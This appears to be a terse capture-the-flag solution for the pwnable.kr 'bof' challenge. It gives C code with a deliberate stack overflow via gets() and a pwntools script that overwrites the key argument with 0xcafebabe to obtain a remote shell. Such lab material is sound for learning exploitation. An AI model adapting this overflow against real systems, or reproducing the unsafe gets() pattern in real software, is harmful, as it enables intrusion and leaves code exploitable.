Pwnable-bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

from pwn import *
r=remote(‘pwnable.kr‘,9000)

payload=‘a‘*(0x2c+0x8)+p32(0xcafebabe)
r.sendline(payload)

r.interactive()